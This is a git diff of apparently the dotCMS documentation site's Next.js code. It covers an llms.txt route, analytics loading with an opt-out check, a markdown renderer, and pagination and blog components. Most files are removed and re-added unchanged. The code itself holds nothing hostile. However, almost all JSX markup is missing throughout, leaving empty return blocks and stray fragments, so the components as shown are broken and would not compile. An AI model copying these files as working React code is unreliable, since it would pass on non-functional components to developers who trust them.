- lines.push(`${indent}- ${escapeMarkdownTitle(item.title)}`);
- }
- processItems(item.items, depth + 1);
- }
- } else {
- const fullUrl = buildFullUrl(item.href, baseUrl);
- const safeTitle = escapeMarkdownTitle(item.title);
-
- lines.push(`${indent}- [${safeTitle}](${fullUrl})`);
-
- if (hasChildren && item.items) {
- processItems(item.items, depth + 1);
- }
- }
- }
- }
-
- // Process each section (skip empty sections)
- for (const section of sections) {
- if (!section.items || section.items.length === 0) {
- continue;
- }
-
- if (lines.length > 0 && lines[lines.length - 1] !== '') {
- lines.push('');
- }
- lines.push(`- ${escapeMarkdownTitle(section.title)}`);
- processItems(section.items, 1);
- }
-
- return lines.join('\n');
-}
-
-export async function GET() {
- try {
- const sections = await getNavSections({
- path: '/docs/nav',
- depth: 4,
- languageId: 1
- });
-
- if (!sections || !Array.isArray(sections) || sections.length === 0) {
- throw new Error("Failed to retrieve navigation sections: invalid or empty response.");
- }
-
- const markdown = generateLlmTxt(sections, Config.CDNHost);
-
- return new Response(markdown, {
- headers: {
- "Content-Type": "text/plain; charset=utf-8",
- "Cache-Control": "public, max-age=604800",
- },
- });
- } catch (error) {
- console.error("Error generating llms.txt:", error);
- return new Response(
- `Error generating llms.txt: ${error instanceof Error ? error.message : 'Unknown error'}`,
- {
- status: 500,
- headers: {
- "Content-Type": "text/plain; charset=utf-8",
- },
- }
- );
- }
-}
-
+import { getNavSections } from "@/services/docs/getNavSections";
+import { Config } from "@/util/config";
+import { type NavItem, type NavSection } from "@/util/navTransform";
+
+function escapeMarkdownTitle(title: string): string {
+ return title.replace(/\[/g, '\\[').replace(/\]/g, '\\]');
+}
+
+function buildFullUrl(href: string, baseUrl: string): string {
+ if (href.startsWith('http://') || href.startsWith('https://')) {
+ return href;
+ }
+ return new URL(href, baseUrl).href;
+}
+
+function generateLlmTxt(sections: NavSection[], baseUrl: string): string {
+ const lines: string[] = [];
+
+ lines.push('# dotCMS Documentation');
+ lines.push('');
+ lines.push(`@base-url: ${baseUrl}`);
+ lines.push('');
+
+ function processItems(items: NavItem[], depth: number = 0): void {
+ for (const item of items) {
+ const indent = ' '.repeat(depth);
+ const hasChildren = item.items && item.items.length > 0;
+
+ if (item.href === '#' || !item.href) {
+ if (hasChildren && item.items) {
+ if (depth === 0) {
+ if (lines.length > 0 && lines[lines.length - 1] !== '') {
+ lines.push('');
+ }
+ lines.push(`- ${escapeMarkdownTitle(item.title)}`);
+ } else {
+ lines.push(`${indent}- ${escapeMarkdownTitle(item.title)}`);
+ }
+ processItems(item.items, depth + 1);
+ }
+ } else {
+ const fullUrl = buildFullUrl(item.href, baseUrl);
+ const safeTitle = escapeMarkdownTitle(item.title);
+
+ lines.push(`${indent}- [${safeTitle}](${fullUrl})`);
+
+ if (hasChildren && item.items) {
+ processItems(item.items, depth + 1);
+ }
+ }
+ }
+ }
+
+ // Process each section (skip empty sections)
+ for (const section of sections) {
+ if (!section.items || section.items.length === 0) {
+ continue;
+ }
+
+ if (lines.length > 0 && lines[lines.length - 1] !== '') {
+ lines.push('');
+ }
+ lines.push(`- ${escapeMarkdownTitle(section.title)}`);
+ processItems(section.items, 1);
+ }
+
+ return lines.join('\n');
+}
+
+export async function GET() {
+ try {
+ const sections = await getNavSections({
+ path: '/docs/nav',
+ depth: 4,
+ languageId: 1
+ });
+
+ if (!sections || !Array.isArray(sections) || sections.length === 0) {
+ throw new Error("Failed to retrieve navigation sections: invalid or empty response.");
+ }
+
+ const markdown = generateLlmTxt(sections, Config.CDNHost);
+
+ return new Response(markdown, {
+ headers: {
+ "Content-Type": "text/plain; charset=utf-8",
+ "Cache-Control": "public, max-age=604800",
+ },
+ });
+ } catch (error) {
+ console.error("Error generating llms.txt:", error);
+ return new Response(
+ `Error generating llms.txt: ${error instanceof Error ? error.message : 'Unknown error'}`,
+ {
+ status: 500,
+ headers: {
+ "Content-Type": "text/plain; charset=utf-8",
+ },
+ }
+ );
+ }
+}
+
diff --git a/components/Analytics.tsx b/components/Analytics.tsx
index f770dd3..8d080b2 100644
--- a/components/Analytics.tsx
+++ b/components/Analytics.tsx
@@ -1,52 +1,52 @@
-'use client';
-
-import { useEffect, useState } from 'react';
-import { GoogleAnalytics } from '@next/third-parties/google';
-import dynamic from 'next/dynamic';
-
-// Lazy load heavy analytics components
-const MicrosoftClarity = dynamic(
- () => import('@/components/metrics/MicrosoftClarity'),
- { ssr: false }
-);
-
-const LeadboxerScript = dynamic(
- () => import('@/components/metrics/Leadboxer').then(mod => mod.LeadboxerScript),
- { ssr: false }
-);
-
-export default function Analytics() {
- const [shouldLoadAnalytics, setShouldLoadAnalytics] = useState(false);
-
- useEffect(() => {
- // Check if user has opted out of analytics
- const analyticsOptOut = localStorage.getItem('analytics-opt-out');
- if (analyticsOptOut === 'true') return;
-
- // Load analytics after page becomes interactive
- if ('requestIdleCallback' in window) {
- requestIdleCallback(() => {
- setShouldLoadAnalytics(true);
- });
- } else {
- // Fallback for browsers that don't support requestIdleCallback
- const timer = setTimeout(() => {
- setShouldLoadAnalytics(true);
- }, 2000);
-
- return () => clearTimeout(timer);
- }
- }, []);
-
- if (!shouldLoadAnalytics) {
- return null;
- }
-
- return (
- <>
-
-
-
- >
- );
+'use client';
+
+import { useEffect, useState } from 'react';
+import { GoogleAnalytics } from '@next/third-parties/google';
+import dynamic from 'next/dynamic';
+
+// Lazy load heavy analytics components
+const MicrosoftClarity = dynamic(
+ () => import('@/components/metrics/MicrosoftClarity'),
+ { ssr: false }
+);
+
+const LeadboxerScript = dynamic(
+ () => import('@/components/metrics/Leadboxer').then(mod => mod.LeadboxerScript),
+ { ssr: false }
+);
+
+export default function Analytics() {
+ const [shouldLoadAnalytics, setShouldLoadAnalytics] = useState(false);
+
+ useEffect(() => {
+ // Check if user has opted out of analytics
+ const analyticsOptOut = localStorage.getItem('analytics-opt-out');
+ if (analyticsOptOut === 'true') return;
+
+ // Load analytics after page becomes interactive
+ if ('requestIdleCallback' in window) {
+ requestIdleCallback(() => {
+ setShouldLoadAnalytics(true);
+ });
+ } else {
+ // Fallback for browsers that don't support requestIdleCallback
+ const timer = setTimeout(() => {
+ setShouldLoadAnalytics(true);
+ }, 2000);
+
+ return () => clearTimeout(timer);
+ }
+ }, []);
+
+ if (!shouldLoadAnalytics) {
+ return null;
+ }
+
+ return (
+ <>
+
+
+
+ >
+ );
}
\ No newline at end of file
diff --git a/components/DangerousHtmlComponent.js b/components/DangerousHtmlComponent.js
index bd2d1c7..ce0f5ff 100644
--- a/components/DangerousHtmlComponent.js
+++ b/components/DangerousHtmlComponent.js
@@ -1,8 +1,8 @@
-import '@/styles/unset.css';
-
-
-
-
-export default function DangerousHtmlComponent({ content, resetClassName="raw-html", className="" }) {
- return
+import '@/styles/unset.css';
+
+
+
+
+export default function DangerousHtmlComponent({ content, resetClassName="raw-html", className="" }) {
+ return
}
\ No newline at end of file
diff --git a/components/MarkdownContent.tsx b/components/MarkdownContent.tsx
index e82c3af..69b0091 100644
--- a/components/MarkdownContent.tsx
+++ b/components/MarkdownContent.tsx
@@ -1,406 +1,406 @@
-'use client'
-
-import React, { useEffect, useState, createContext, useContext } from 'react'
-import ReactMarkdown from 'react-markdown'
-import rehypeRaw from 'rehype-raw'
-import rehypeSlug from 'rehype-slug'
-import rehypeAutolinkHeadings from 'rehype-autolink-headings'
-import remarkGfm from 'remark-gfm'
-import SyntaxHighlighter from 'react-syntax-highlighter'
-import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table"
-import { Components } from 'react-markdown'
-import type { ComponentPropsWithoutRef, ReactNode } from 'react'
-import { smoothScroll } from '@/util/smoothScroll'
-import Video from '@/components/mdx/Video'
-import { CopyButton } from './chat/CopyButton'
-import { a11yLight, dark, docco, a11yDark, vs } from 'react-syntax-highlighter/dist/cjs/styles/hljs'
-import { useTheme } from "next-themes"
-import { Include } from '@/components/mdx/Include'
-import { remarkCustomId } from '@/util/remarkCustomId'
-import {
- extractBlockComponentContent,
- rehypeUnwrapBlockComponents,
- generateBlockComponentMappings
-} from './block-components-system'
-
-interface MarkdownContentProps {
- content: string
- className?: string
- disableBlockComponents?: boolean // Renamed from disableInfoWarn
-}
-
-type ExtendedComponents = Components & {
- include: React.ComponentType<{ urltoinclude: string }>
- // Block components are added dynamically
-}
-
-interface HeadingProps extends React.HTMLAttributes {
- level: number;
- children: React.ReactNode;
-}
-
-interface ChildrenProps {
- children: ReactNode;
-}
-
-const HEADER_HEIGHT = 80;
-const BREADCRUMB_HEIGHT = 48; // 24px height + 24px bottom margin
-const TOTAL_OFFSET = HEADER_HEIGHT + BREADCRUMB_HEIGHT;
-
-// Context to track if we're inside a list item
-const ListItemContext = createContext(false);
-
-// Context to track if we're inside a heading
-const HeadingContext = createContext(false);
-
-const MarkdownContent: React.FC = ({ content, className, disableBlockComponents = false }) => {
- const { theme } = useTheme();
- const [mounted, setMounted] = useState(false);
-
- useEffect(() => {
- setMounted(true);
- }, []);
-
- const components: ExtendedComponents = {
- h1: ({ node, children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
- ),
- h2: ({ children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
-
- ),
- h3: ({ children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
- ),
- h4: ({ children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
- ),
- h5: ({ children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
- ),
- h6: ({ children, ...props }) => (
-
-
- {children}
-
- #
-
-
-
- ),
- p: function ParagraphComponent({ children, ...props }) {
- const isInListItem = useContext(ListItemContext);
- return (
-
- {children}
-
- );
- },
- ul: function UnorderedListComponent({ children }) {
- const isInListItem = useContext(ListItemContext);
- return (
-
- );
- },
- ol: function OrderedListComponent({ children }) {
- const isInListItem = useContext(ListItemContext);
- return (
-
- {children}
-
- );
- },
- li: ({ children }) => (
-
- {children}
-
- ),
- a: ({ href, children, ...props }) => {
- const isInHeading = href?.startsWith('#');
-
- return (
- isInHeading ? smoothScroll(e) : undefined}
- >
- {children}
-
- )
- },
-
- code: function CodeComponent({ node, className, children, ...props }: any) {
- const match = /language-(\w+)/.exec(className || '')
- const inline = !String(children).includes("\n");
- const highlight = match ? match[1] : "html";
-
- // Check if code is inside a heading using React context
- const isInHeading = useContext(HeadingContext);
-
- if (inline) {
- return (
-
- {children}
-
- )
- }
-
- // Prevent hydration mismatch by not rendering theme-dependent content until mounted
- if (!mounted) {
- return (
-
-
- {String(children).replace(/\n$/, '')}
-
-
- );
- }
-
- return (
-
-
-
-
-
{String(children).replace(/\n$/, '')}
-
- );
- },
-
- table({ children }) {
- return (
-
- )
- },
- thead({ children }) {
- // Check if thead has any content
- const hasContent = React.Children.toArray(children).some((child: any) => {
- if (!child.props?.children) return false;
- // Check if there's any text content in the th cells
- return React.Children.toArray(child.props.children).some((th: any) =>
- th.props?.children && th.props.children.length > 0
- );
- });
-
- return hasContent ? {children} : null;
- },
- tbody({ children }) {
- return {children}
- },
- tr({ children }) {
- return {children}
- },
- th({ children }) {
- return
- {children}
-
- },
- td({ children }) {
- return
- {children}
-
- },
- hr: () => ,
-
- img: ({ src, alt, ...props }: any) => (
-
- ),
-
- video: ({ node, ...props }: any) => {
- if (!node?.children) return null;
-
- const sources = node.children
- .filter((child: any) => child.tagName === 'source')
- .map((source: any) => {
- let src = source.properties?.src;
- // Handle DotCMS URLs
- if (src && src.startsWith('/dA/')) {
- src = `https://dev.dotcms.com${src}`;
- }
- return {
- src,
- type: source.properties?.type?.split('?')[0] || 'video/mp4'
- };
- });
-
- if (sources.length === 0) return null;
-
- return (
-
- {sources.map((source: { src: string; type: string }, index: number) => (
-
- ))}
- Your browser does not support the video tag.
-
- );
- },
-
- include: ({ urltoinclude }: any) => {
- return ;
- },
-
- // Dynamically generated block component mappings
- ...generateBlockComponentMappings(disableBlockComponents),
- }
-
- // Extract block component content before react-markdown processes it
- const processedContent = disableBlockComponents ? content : extractBlockComponentContent(content);
-
- // Build rehype plugins array
- const rehypePlugins: any[] = [
- [rehypeRaw],
- [rehypeSlug],
- [rehypeAutolinkHeadings, {
- behavior: 'wrap',
- properties: {
- className: ['anchor'],
- 'data-heading-id': true,
- style: 'scroll-margin-top: 80px;'
- }
- }]
- ];
-
- // Add block component unwrap plugin if not disabled
- if (!disableBlockComponents) {
- rehypePlugins.splice(1, 0, [rehypeUnwrapBlockComponents]);
- }
-
- return (
-
- {processedContent}
-
- )
-}
-
-export default MarkdownContent
+'use client'
+
+import React, { useEffect, useState, createContext, useContext } from 'react'
+import ReactMarkdown from 'react-markdown'
+import rehypeRaw from 'rehype-raw'
+import rehypeSlug from 'rehype-slug'
+import rehypeAutolinkHeadings from 'rehype-autolink-headings'
+import remarkGfm from 'remark-gfm'
+import SyntaxHighlighter from 'react-syntax-highlighter'
+import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from "@/components/ui/table"
+import { Components } from 'react-markdown'
+import type { ComponentPropsWithoutRef, ReactNode } from 'react'
+import { smoothScroll } from '@/util/smoothScroll'
+import Video from '@/components/mdx/Video'
+import { CopyButton } from './chat/CopyButton'
+import { a11yLight, dark, docco, a11yDark, vs } from 'react-syntax-highlighter/dist/cjs/styles/hljs'
+import { useTheme } from "next-themes"
+import { Include } from '@/components/mdx/Include'
+import { remarkCustomId } from '@/util/remarkCustomId'
+import {
+ extractBlockComponentContent,
+ rehypeUnwrapBlockComponents,
+ generateBlockComponentMappings
+} from './block-components-system'
+
+interface MarkdownContentProps {
+ content: string
+ className?: string
+ disableBlockComponents?: boolean // Renamed from disableInfoWarn
+}
+
+type ExtendedComponents = Components & {
+ include: React.ComponentType<{ urltoinclude: string }>
+ // Block components are added dynamically
+}
+
+interface HeadingProps extends React.HTMLAttributes {
+ level: number;
+ children: React.ReactNode;
+}
+
+interface ChildrenProps {
+ children: ReactNode;
+}
+
+const HEADER_HEIGHT = 80;
+const BREADCRUMB_HEIGHT = 48; // 24px height + 24px bottom margin
+const TOTAL_OFFSET = HEADER_HEIGHT + BREADCRUMB_HEIGHT;
+
+// Context to track if we're inside a list item
+const ListItemContext = createContext(false);
+
+// Context to track if we're inside a heading
+const HeadingContext = createContext(false);
+
+const MarkdownContent: React.FC = ({ content, className, disableBlockComponents = false }) => {
+ const { theme } = useTheme();
+ const [mounted, setMounted] = useState(false);
+
+ useEffect(() => {
+ setMounted(true);
+ }, []);
+
+ const components: ExtendedComponents = {
+ h1: ({ node, children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+ ),
+ h2: ({ children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+
+ ),
+ h3: ({ children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+ ),
+ h4: ({ children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+ ),
+ h5: ({ children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+ ),
+ h6: ({ children, ...props }) => (
+
+
+ {children}
+
+ #
+
+
+
+ ),
+ p: function ParagraphComponent({ children, ...props }) {
+ const isInListItem = useContext(ListItemContext);
+ return (
+
+ {children}
+
+ );
+ },
+ ul: function UnorderedListComponent({ children }) {
+ const isInListItem = useContext(ListItemContext);
+ return (
+
+ );
+ },
+ ol: function OrderedListComponent({ children }) {
+ const isInListItem = useContext(ListItemContext);
+ return (
+
+ {children}
+
+ );
+ },
+ li: ({ children }) => (
+
+ {children}
+
+ ),
+ a: ({ href, children, ...props }) => {
+ const isInHeading = href?.startsWith('#');
+
+ return (
+ isInHeading ? smoothScroll(e) : undefined}
+ >
+ {children}
+
+ )
+ },
+
+ code: function CodeComponent({ node, className, children, ...props }: any) {
+ const match = /language-(\w+)/.exec(className || '')
+ const inline = !String(children).includes("\n");
+ const highlight = match ? match[1] : "html";
+
+ // Check if code is inside a heading using React context
+ const isInHeading = useContext(HeadingContext);
+
+ if (inline) {
+ return (
+
+ {children}
+
+ )
+ }
+
+ // Prevent hydration mismatch by not rendering theme-dependent content until mounted
+ if (!mounted) {
+ return (
+
+
+ {String(children).replace(/\n$/, '')}
+
+
+ );
+ }
+
+ return (
+
+
+
+
+
{String(children).replace(/\n$/, '')}
+
+ );
+ },
+
+ table({ children }) {
+ return (
+
+ )
+ },
+ thead({ children }) {
+ // Check if thead has any content
+ const hasContent = React.Children.toArray(children).some((child: any) => {
+ if (!child.props?.children) return false;
+ // Check if there's any text content in the th cells
+ return React.Children.toArray(child.props.children).some((th: any) =>
+ th.props?.children && th.props.children.length > 0
+ );
+ });
+
+ return hasContent ? {children} : null;
+ },
+ tbody({ children }) {
+ return {children}
+ },
+ tr({ children }) {
+ return {children}
+ },
+ th({ children }) {
+ return
+ {children}
+
+ },
+ td({ children }) {
+ return
+ {children}
+
+ },
+ hr: () => ,
+
+ img: ({ src, alt, ...props }: any) => (
+
+ ),
+
+ video: ({ node, ...props }: any) => {
+ if (!node?.children) return null;
+
+ const sources = node.children
+ .filter((child: any) => child.tagName === 'source')
+ .map((source: any) => {
+ let src = source.properties?.src;
+ // Handle DotCMS URLs
+ if (src && src.startsWith('/dA/')) {
+ src = `https://dev.dotcms.com${src}`;
+ }
+ return {
+ src,
+ type: source.properties?.type?.split('?')[0] || 'video/mp4'
+ };
+ });
+
+ if (sources.length === 0) return null;
+
+ return (
+
+ {sources.map((source: { src: string; type: string }, index: number) => (
+
+ ))}
+ Your browser does not support the video tag.
+
+ );
+ },
+
+ include: ({ urltoinclude }: any) => {
+ return ;
+ },
+
+ // Dynamically generated block component mappings
+ ...generateBlockComponentMappings(disableBlockComponents),
+ }
+
+ // Extract block component content before react-markdown processes it
+ const processedContent = disableBlockComponents ? content : extractBlockComponentContent(content);
+
+ // Build rehype plugins array
+ const rehypePlugins: any[] = [
+ [rehypeRaw],
+ [rehypeSlug],
+ [rehypeAutolinkHeadings, {
+ behavior: 'wrap',
+ properties: {
+ className: ['anchor'],
+ 'data-heading-id': true,
+ style: 'scroll-margin-top: 80px;'
+ }
+ }]
+ ];
+
+ // Add block component unwrap plugin if not disabled
+ if (!disableBlockComponents) {
+ rehypePlugins.splice(1, 0, [rehypeUnwrapBlockComponents]);
+ }
+
+ return (
+
+ {processedContent}
+
+ )
+}
+
+export default MarkdownContent
diff --git a/components/NoSsr.js b/components/NoSsr.js
index 11e2bcf..cf9a8ac 100644
--- a/components/NoSsr.js
+++ b/components/NoSsr.js
@@ -1,12 +1,12 @@
-// components/NoSsr.jsx
-
-import dynamic from 'next/dynamic'
-import React from 'react'
-
-const NoSsr = props => (
- {props.children}
-)
-
-export default dynamic(() => Promise.resolve(NoSsr), {
- ssr: false
+// components/NoSsr.jsx
+
+import dynamic from 'next/dynamic'
+import React from 'react'
+
+const NoSsr = props => (
+ {props.children}
+)
+
+export default dynamic(() => Promise.resolve(NoSsr), {
+ ssr: false
})
\ No newline at end of file
diff --git a/components/PaginationBar.js b/components/PaginationBar.js
index 500e0ba..e40c64e 100644
--- a/components/PaginationBar.js
+++ b/components/PaginationBar.js
@@ -1,100 +1,100 @@
-import {
- Pagination,
- PaginationContent,
- PaginationItem,
- PaginationLink,
- PaginationNext,
- PaginationPrevious,
-} from "@/components/ui/pagination";
-
-
-
-
-export default function PaginationBar({ pagination, additionalQueryParams }) {
- // Check if pagination is empty or has only one page
- if (!pagination || Object.keys(pagination).length === 0 || pagination.totalPages <= 1) {
- return null;
- }
-
- const { page, hasPreviousPage, hasNextPage, totalPages } = pagination;
- const currentPage = page;
-
- // Calculate the range of pages to show
- const MAX_VISIBLE_PAGES = 5
- let startPage = Math.max(1, currentPage - Math.floor(MAX_VISIBLE_PAGES / 2))
- let endPage = Math.min(totalPages, startPage + MAX_VISIBLE_PAGES - 1)
-
- // Adjust start page if we're near the end
- if (endPage - startPage + 1 < MAX_VISIBLE_PAGES) {
- startPage = Math.max(1, endPage - MAX_VISIBLE_PAGES + 1)
- }
-
- const pages = Array.from({ length: endPage - startPage + 1 }, (_, i) => startPage + i)
-
- const finalAdditionalQueryParams = additionalQueryParams && additionalQueryParams.length > 0 ? additionalQueryParams : "";
-
- return (
-
-
-
-
-
-
-
- {startPage > 1 && (
- <>
-
- 1
-
- {startPage > 2 && (
-
- ...
-
- )}
- >
- )}
-
- {pages.map((page) => (
-
-
- {page}
-
-
- ))}
-
- {endPage < totalPages && (
- <>
- {endPage < totalPages - 1 && (
-
- ...
-
- )}
-
-
- {totalPages}
-
-
- >
- )}
-
-
-
-
-
-
-
-
-
- )
+import {
+ Pagination,
+ PaginationContent,
+ PaginationItem,
+ PaginationLink,
+ PaginationNext,
+ PaginationPrevious,
+} from "@/components/ui/pagination";
+
+
+
+
+export default function PaginationBar({ pagination, additionalQueryParams }) {
+ // Check if pagination is empty or has only one page
+ if (!pagination || Object.keys(pagination).length === 0 || pagination.totalPages <= 1) {
+ return null;
+ }
+
+ const { page, hasPreviousPage, hasNextPage, totalPages } = pagination;
+ const currentPage = page;
+
+ // Calculate the range of pages to show
+ const MAX_VISIBLE_PAGES = 5
+ let startPage = Math.max(1, currentPage - Math.floor(MAX_VISIBLE_PAGES / 2))
+ let endPage = Math.min(totalPages, startPage + MAX_VISIBLE_PAGES - 1)
+
+ // Adjust start page if we're near the end
+ if (endPage - startPage + 1 < MAX_VISIBLE_PAGES) {
+ startPage = Math.max(1, endPage - MAX_VISIBLE_PAGES + 1)
+ }
+
+ const pages = Array.from({ length: endPage - startPage + 1 }, (_, i) => startPage + i)
+
+ const finalAdditionalQueryParams = additionalQueryParams && additionalQueryParams.length > 0 ? additionalQueryParams : "";
+
+ return (
+
+
+
+
+
+
+
+ {startPage > 1 && (
+ <>
+
+ 1
+
+ {startPage > 2 && (
+
+ ...
+
+ )}
+ >
+ )}
+
+ {pages.map((page) => (
+
+
+ {page}
+
+
+ ))}
+
+ {endPage < totalPages && (
+ <>
+ {endPage < totalPages - 1 && (
+
+ ...
+
+ )}
+
+
+ {totalPages}
+
+
+ >
+ )}
+
+
+
+
+
+
+
+
+
+ )
}
\ No newline at end of file
diff --git a/components/blogs/authors.js b/components/blogs/authors.js
index 376b5f0..a986d5e 100644
--- a/components/blogs/authors.js
+++ b/components/blogs/authors.js
@@ -1,45 +1,45 @@
-import React from "react";
-import Image from "next/image";
-
-function Authors({ authors }) {
- if (authors && authors.length > 0) {
- return (
- <>
- {authors.map((author) => (
-
-
-
-
-
- {author?.firstName && (
-
- {author?.firstName} {author?.lastName}
-
- )}
-
- {author?.title && author?.title + " "}
- {author?.company && author?.company}
-
-
-
- ))}
-
- >
- );
- }
-
- return null;
-}
-
-export default Authors;
+import React from "react";
+import Image from "next/image";
+
+function Authors({ authors }) {
+ if (authors && authors.length > 0) {
+ return (
+ <>
+ {authors.map((author) => (
+
+
+
+
+
+ {author?.firstName && (
+
+ {author?.firstName} {author?.lastName}
+
+ )}
+
+ {author?.title && author?.title + " "}
+ {author?.company && author?.company}
+
+
+
+ ))}
+
+ >
+ );
+ }
+
+ return null;
+}
+
+export default Authors;
diff --git a/components/blogs/blog-component.tsx b/components/blogs/blog-component.tsx
index a87e046..3183d9c 100644
--- a/components/blogs/blog-component.tsx
+++ b/components/blogs/blog-component.tsx
@@ -1,19 +1,19 @@
-import { DotBlockEditor } from "@/components/shared/dotBlockEditor";
-import React from "react";
-export interface BlogProps {
- type1: string;
- title: string;
- body: any;
-}
-export default function BlogComponent(props: BlogProps) {
- const { body,title,type1 } = props;
-
-
- const customRenderers: any = {};
-
- return (
-
-
-
- );
-}
+import { DotBlockEditor } from "@/components/shared/dotBlockEditor";
+import React from "react";
+export interface BlogProps {
+ type1: string;
+ title: string;
+ body: any;
+}
+export default function BlogComponent(props: BlogProps) {
+ const { body,title,type1 } = props;
+
+
+ const customRenderers: any = {};
+
+ return (
+
+
+
+ );
+}
diff --git a/components/blogs/blog-detail.js b/components/blogs/blog-detail.js
index cfe86fd..7dc59bf 100644
--- a/components/blogs/blog-detail.js
+++ b/components/blogs/blog-detail.js
@@ -1,40 +1,40 @@
-"use client";
-
-import { client } from "@/util/dotcmsClient";
-import Link from 'next/link';
-import { DotBlockEditor } from '@/components/shared/dotBlockEditor';
-import OnThisPage from '@/components/navigation/OnThisPage';
-import React from 'react';
-import { DetailHeader } from './blog-header';
-import Authors from './authors';
-import BlogComponent from "./blog-component";
-
-export default function BlogDetailComponent({ post }) {
-
- const customRenderers = {};
-
- return (
-
- {/* Main Content Grid */}
-
-
-
- {/* Main Content */}
-
-
-
-
-
-
-
- {/* Right Sidebar */}
-
-
-
- );
+"use client";
+
+import { client } from "@/util/dotcmsClient";
+import Link from 'next/link';
+import { DotBlockEditor } from '@/components/shared/dotBlockEditor';
+import OnThisPage from '@/components/navigation/OnThisPage';
+import React from 'react';
+import { DetailHeader } from './blog-header';
+import Authors from './authors';
+import BlogComponent from "./blog-component";
+
+export default function BlogDetailComponent({ post }) {
+
+ const customRenderers = {};
+
+ return (
+
+ {/* Main Content Grid */}
+
+
+
+ {/* Main Content */}
+
+
+
+
+
+
+
+ {/* Right Sidebar */}
+
+
+
+ );
}
\ No newline at end of file
diff --git a/components/blogs/blog-header.js b/components/blogs/blog-header.js
index 4e853a8..1d18776 100644
--- a/components/blogs/blog-header.js
+++ b/components/blogs/blog-header.js
@@ -1,102 +1,102 @@
-'use client';
-
-import { usePathname } from 'next/navigation';
-import React, { useEffect, useState } from 'react';
-import SocialMediaShare from '@/components/shared/socialMediaShare';
-import { cn } from '@/util/utils';
-import { Calendar, Tag as TagIcon } from 'lucide-react';
-import { format } from "date-fns";
-import Link from 'next/link';
-import Image from 'next/image';
-function extractAssetId(uri) {
- const match = uri.match(/\/dA\/([^/]+)/);
- return match ? match[1] : null;
-}
-
-export const DetailHeader = ({
- post,
-}) => {
- const formattedDate = format(new Date(post.postingDate), 'MMMM dd, yyyy');
- const pathname = usePathname();
- const [url, setUrl] = useState('');
- const imageUrl = post.image?.fileAsset?.versionPath;
-
- useEffect(() => {
- const urlString = new URL(pathname, `https://${post.host.hostname}`);
- setUrl(urlString);
- }, [pathname, post.host.hostname]);
-
- return (
-
- );
-};
+'use client';
+
+import { usePathname } from 'next/navigation';
+import React, { useEffect, useState } from 'react';
+import SocialMediaShare from '@/components/shared/socialMediaShare';
+import { cn } from '@/util/utils';
+import { Calendar, Tag as TagIcon } from 'lucide-react';
+import { format } from "date-fns";
+import Link from 'next/link';
+import Image from 'next/image';
+function extractAssetId(uri) {
+ const match = uri.match(/\/dA\/([^/]+)/);
+ return match ? match[1] : null;
+}
+
+export const DetailHeader = ({
+ post,
+}) => {
+ const formattedDate = format(new Date(post.postingDate), 'MMMM dd, yyyy');
+ const pathname = usePathname();
+ const [url, setUrl] = useState('');
+ const imageUrl = post.image?.fileAsset?.versionPath;
+
+ useEffect(() => {
+ const urlString = new URL(pathname, `https://${post.host.hostname}`);
+ setUrl(urlString);
+ }, [pathname, post.host.hostname]);
+
+ return (
+
+ );
+};
diff --git a/components/blogs/blog-listing.js b/components/blogs/blog-listing.js
index 3fea367..3c31a11 100644
--- a/components/blogs/blog-listing.js
+++ b/components/blogs/blog-listing.js
@@ -1,116 +1,116 @@
-import React, { useMemo } from 'react';
-import Link from 'next/link';
-import { format } from 'date-fns';
-import { ArrowLeft, Calendar } from 'lucide-react';
-import TagCloud from '@/components/shared/TagCloud';
-import { getTagsByLuceneQuery } from "@/services/getTags";
-import { BLOG_LISTING_LUCENE_QUERY } from '@/services/blog/getBlogListing';
-import PaginationBar from '../PaginationBar';
-import BlogImage from './BlogImage';
-
-const BlogCard = ({ post }) => {
- const formattedDate = useMemo(() =>
- format(new Date(post.postingDate), 'MMMM d, yyyy'),
- [post.postingDate]
- );
-
- return (
-
-
-
-
-
-
-
-
- {formattedDate}
-
-
-
-
- {post.title}
-
-
-
- {post.teaser}
-
- {post.tags && post.tags.length > 0 && (
-
- {post.tags.map((tag) => (
-
- {tag}
-
- ))}
-
- )}
-
-
- );
-};
-
-export default async function BlogListing({ blogs, pagination, tagFilter }) {
- const allTags = await getTagsByLuceneQuery(BLOG_LISTING_LUCENE_QUERY, 30);
- const tagFilterQueryParam = tagFilter && tagFilter.length > 0 ? "tagFilter=" + tagFilter : "";
-
- return (
-
-
-
-
- dotCMS Developer Blog
-
- Articles for the dotDeveloper.
-
-
-
-
Back to Learning Center
-
-
-
-
-
-
- {blogs.map((post) => (
-
- ))}
-
-
-
-
-
-
-
-
-
-
- );
-}
+import React, { useMemo } from 'react';
+import Link from 'next/link';
+import { format } from 'date-fns';
+import { ArrowLeft, Calendar } from 'lucide-react';
+import TagCloud from '@/components/shared/TagCloud';
+import { getTagsByLuceneQuery } from "@/services/getTags";
+import { BLOG_LISTING_LUCENE_QUERY } from '@/services/blog/getBlogListing';
+import PaginationBar from '../PaginationBar';
+import BlogImage from './BlogImage';
+
+const BlogCard = ({ post }) => {
+ const formattedDate = useMemo(() =>
+ format(new Date(post.postingDate), 'MMMM d, yyyy'),
+ [post.postingDate]
+ );
+
+ return (
+
+
+
+
+
+
+
+
+ {formattedDate}
+
+
+
+
+ {post.title}
+
+
+
+ {post.teaser}
+
+ {post.tags && post.tags.length > 0 && (
+
+ {post.tags.map((tag) => (
+
+ {tag}
+
+ ))}
+
+ )}
+
+
+ );
+};
+
+export default async function BlogListing({ blogs, pagination, tagFilter }) {
+ const allTags = await getTagsByLuceneQuery(BLOG_LISTING_LUCENE_QUERY, 30);
+ const tagFilterQueryParam = tagFilter && tagFilter.length > 0 ? "tagFilter=" + tagFilter : "";
+
+ return (
+
+
+
+
+ dotCMS Developer Blog
+
+ Articles for the dotDeveloper.
+
+
+
+
Back to Learning Center
+
+
+
+
+
+
+ {blogs.map((post) => (
+
+ ))}
+
+
+
+
+
+
+
+
+
+
+ );
+}
